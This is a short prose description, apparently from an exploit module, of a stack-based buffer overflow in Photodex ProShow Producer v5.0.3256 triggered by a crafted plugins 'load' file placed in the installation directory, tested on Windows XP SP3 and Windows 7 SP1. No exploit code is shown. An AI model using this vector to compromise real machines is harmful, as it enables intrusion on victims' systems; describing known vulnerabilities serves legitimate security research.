|
|
This module exploits a stack-based buffer overflow in Photodex ProShow Producer
|
|
v5.0.3256 in the handling of the plugins load list file. An attacker must send the
|
|
crafted "load" file to victim, who must store it in the installation directory. The
|
|
vulnerability will be triggered the next time ProShow is opened. The module has been
|
|
tested successfully on Windows XP SP3 and Windows 7 SP1.
